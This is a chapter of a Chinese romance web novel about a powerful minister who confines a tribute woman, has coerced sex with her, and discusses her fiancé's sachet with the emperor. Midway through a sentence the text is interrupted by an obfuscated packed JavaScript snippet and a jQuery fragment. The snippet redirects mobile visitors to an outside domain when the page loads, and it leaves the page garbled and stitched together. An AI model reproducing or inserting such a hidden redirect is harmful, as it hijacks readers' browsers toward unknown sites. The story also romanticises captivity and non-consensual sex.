安静的房间内,水声格外明显。
萧琮吻得又急又凶,狂风暴雨一般,他托住她的后脑,完全掌控她的姿势,让她无法离开,甚至无法往后躲避半分。
他的舌尖探入她的口腔,带着迫切的占有欲和怒意,恨不得将身下的人直接吞吃入腹。楚泠无法合上唇,有清液从唇边流下,往下直淌到下颌,萧琮似乎意识到,往下轻移,用舌舔掉,又渡回给她。
在这样强势又不讲道理的亲吻下,楚泠很快就软了,她推他,可是她的抗拒让萧琮更疯,一把将床上碍事的被褥推远,将她翻过来,然而却依然掌着她的脑袋,让她艰难地回头,继续同他接吻。
楚泠还想着如何将脑袋转回来,可其他地方就已经失守,萧琮摸了一把,笑了声,拿到前面给她看。
“阿泠,起码这个,你是喜欢的。”
“留在我身边吧,别想离开,永远别想。”
他的话说到后面,语调越来越轻,到最后几个字,近乎呢喃。
紧接着便是一阵碰撞摇曳声,这狂风骤雨一直持续到一个时辰后,方才堪堪停下。
最后,萧琮收拾完她和自己身上的残余,穿好衣裳,还是离开了。
走之前他还嘱咐:“等会喝药。听话些。”
楚泠双目俨然失神,她知道自己的谈判终于还是失败了,他不肯放自己走,已经明显要将三年前的事情加倍报还。
她没注意到,萧琮将那香囊带走了。
这样的东西,不许她再留身边。
萧琮出了门,外头婢子们舒了一口气。她们刚刚端过去一些水,没一人想到大人同姑娘一大早竟也会......
朱红想进去收拾,被萧琮一个眼神制止了。他道:“让她先休息。”
里面该换的,他已经都处理掉了。楚泠约莫要睡一会,每每情事后总是如此。
朱红脚步停下,看大人离开,行了个礼。心中却在想,还要先休息,也不知是她太娇贵,还是刚刚闹得太过。
可她也想。
可随后,她便听见大人在叮嘱东侧院的护卫:“加强守卫,她可以出院,但务必有人跟着她。我不想看到任何意外。”
朱红心头一滞,这是什么意思?
萧琮坐了轿辇,来到皇宫。梁文选已经等了他一会儿,有些焦躁,见他姗姗来迟,忍不住问:“怎来得那么晚?”
萧琮行礼:“请陛下见谅,臣府中有些事,耽误了。”
梁文选还疑惑,府中还能有什么事,他那个太傅府成日就他一个人住,那些奴婢婆子们不都围着他一个人转......等等。
他现在府中不是仅一个人了。
随后,梁文选便看见萧琮的脖颈上又有红痕,这回颜色还更鲜艳一点,像是新鲜出炉不久。
真是有碍观瞻,他也不遮一下。
梁文选抬手扔给他一只药膏。
萧琮看了眼上头写的字,轻笑:“陛下还随身带这个,想必最近也惹皇后娘娘不快了。”
一听这话,梁文选陡然忘了要让萧琮过来议论什么政事,道:“朕是皇帝,她是皇后,朕惹她不快?”
萧琮慢条斯理将药膏盒子旋开,长指沾了点,随手往咬痕上涂了涂。其实他背后还有一大片的抓痕,只能回去再处理了。
梁文选摆了摆手:“说正事。”
太傅比他大两岁,在朝廷中同样算年轻,但只有太傅知道他想做的到底是什么,而且太傅想的,有时比他想得更远。
所以他即使知道朝堂上对萧琮的风评究竟如何,但依然不会疏远他。
梁文选有时候甚至觉得,自己作为皇帝也看不透萧琮,他就像一块浓黑的墨,幽深的井,但梁文选觉得,刚刚还焦头烂额的政事,在萧琮姗姗来迟后,就有救了。
其他那些臣子,只会出些不知所云的主意,既想出头,又不想承担责任,拧巴得很,完全不会像萧琮一样,鞭辟入里,直击要害。
两人花了些时间,总算把前几日因给太后侍疾而积压的政务处理完了。
梁文选叫徐程续了茶,目光再次瞟过萧琮颈间的红痕,问:“爱卿与府中那名百越女子,如何了?”
他看着萧琮不苟言笑的模样,忍不住打趣:“爱卿可别把人家吓走。”
萧琮语气平平:“她晨间求我,想回百越。”
梁文选:“朕说什么来着。那你答应了么?”
“臣当然不答应。”萧琮道,“永远不会答应。”
梁文选一滞,他总觉得,刚刚说这句话的时候,太傅在咬牙。
他似乎有点焦躁。真是稀奇,梁文选想,他自打认识萧琮以来,就没见他这般神情。
两人也算认识时间不短了,从前便在一处读书,而当年若不是萧琮,他亦坐不上这垂拱之位。这也是梁文选极为信任他的原因。
“你也待人家好点儿。”梁文选劝,他知道这女子竟然能让太傅亲自下场从高尚书那儿抢,必定他也是上心了的。
萧琮只嗯了一声。
梁文选不知道全貌,才会这样劝。而他与她的往事,他不想让其他人知晓。
从她枕下掉出定情信物这事,着实让他快气疯了。他每每想到,她吃着自己府上的膳食,穿着自己府上的衣裳,还成日私藏着未婚夫送的东西,暗暗想着回百越和他重归于好,就觉得极为恼怒。
三年前骗他,如今还是在骗他。他简直恨极。
所以为何要待她好点,反倒是这些日子待她太好,让她反以为自己善良可欺,碰上她就什么条件都能答应。
离开,想都不要想。
梁文选不知太傅脑中已经敲定了主意,在他看来,这贡女也可怜,只是别人府中的私事他不方便插手。
萧琮已经将心中的戾气都压了下去:“陛下稍安,臣还有一件事,要向陛下禀明。”
听完来龙去脉,梁文选骇然地睁大眼:“百越是怎么做事的,已有婚约的女子,也送到我梁国来?”
“所以让陛下稍安。”萧琮有些无奈,“毕竟也没有真的成婚,怕是百越要凑齐这二十人,也不是易事。”
梁文选不说话了。他想起太傅横刀夺走的女子,其实在他府中还私藏着未婚夫给的信物,不免觉得这事有些诡异。
“爱卿便是要同朕说这个?”
“不是。”萧琮从袖中取出那香囊来,“陛下看看。”
梁文选疑惑地将香囊接了过去,远看的确平平无奇,但仔细一看,梁文选的眼神也微凝。
萧琮看他的反应,便已有几分把握:“看来臣没有认错。”
楚泠未婚夫给她的香囊上面,隐秘处绣着南诏的图纹。
南诏的建国者,多年前也是从梁国去的,在那里自立为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266970|181519||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
王。这么多年,与梁国一直保持着臣服关系,但他们也沿袭了梁国的文化,保留了等级制度,与相应的纹样标志。
那香囊上的图纹,是南诏王室的标志。
这样一来,那香囊精致的材料和绣工,就都有原因了。
百越的地理位置离南诏更近,关系上向来也更亲和。
梁文选将香囊来回把玩,看了眼里头的药草,轻笑:“这倒有意思,爱卿府上那位百越女子,未婚夫竟然是南诏王室的人?”
这精巧的香囊,里面原本装的应当是证明身份的物件。但不知为何,替换成了不值钱的药草。
梁文选召来太医。太医看过后道:“这是常见的药草,但里面每一株的品质都很不错。有安眠之效,一般会放在枕下。”
萧琮默不作声,心里在想,她在雨天睡不好,在这一点上,倒没有骗他。
可是再往深了想,就会想起,那未婚夫也知道她有雨天睡不好的毛病,是楚泠亲口告诉他的,还是他自己发现的?就算无夫妻之实,但他们可曾同床共枕过?
再想到那个男子精挑细选出最好的药草,珍重地放在香囊内,还让她带来梁国,萧琮就更加气闷。
“臣也是今日才发现。”他道,“但臣觉得,臣府中那位贡女,甚至连这位未婚夫本人,都不知晓这件事。”
梁文选沉思:“也是。”
若他们任何一方知道这件事,那便拿着信物回百越就好了。男方回去做他的王族后人,女方也可享荣华富贵,还来什么梁国。
“爱卿怎么想?”
萧琮平静道:“怕是出了什么意外,叫那人忘记了自己的身份,也或许,这香囊本身来路不明。前者或许更有可能。只是南诏王室的东西出现在百越,这件事,陛下还是得留意。”
三年前,先帝挥师南下攻打,虽中途草草了事,但南诏已经表示归降之意。如今新帝继位,难保他们没有什么别的想法。
这是萧琮于公的考虑。
可是于私,他万分庆幸楚泠不知道未婚夫的真实身份。否则,岂不是更想离开。
他长睫微垂,他也不会叫她知道的。
萧琮再从金銮殿出来时,暮色四合。
皇宫里到了这时候便忙碌起来,不仅有晚膳要安排,还有翻牌子、皇帝皇后及妃子们起居等要事,宫女太监们个个繁忙。
头顶忽一列鸟飞过,连带着几声叫,是乌鸦,在皇宫,这算是吉鸟,没有人会驱赶他们,个个吃得膘肥体壮,油光水滑。
萧琮忽然想起从前楚泠对她说,百越的图腾是鸟,它们又自由,又勇敢。
百越人的衣裳,首饰,常常带有鸟的图案,三年前他也见过她一支画着飞鸟图案的钗子,很普通的式样,但插在她发间,他就很想把它抽出,然后看她乌发垂落的样子。
萧琮盯着那些圆润的乌鸦看,乌鸦和他对视半晌,噶的一声飞走了。
他想,百越信奉的应当是灵巧轻捷的鸟儿,而不是这群愈加迟钝笨重的蠢物。
回府后,他看了眼愈发严整的府中护卫,心下满意。
婢子问道:“大人今夜可也要去东侧院?”
这个“也”字,让萧琮顿住了。
他凭什么就像被魇住似的,一回府就巴巴往她的东侧院跑?
萧琮捏紧手中的香囊,冷道:“不去。回正院。”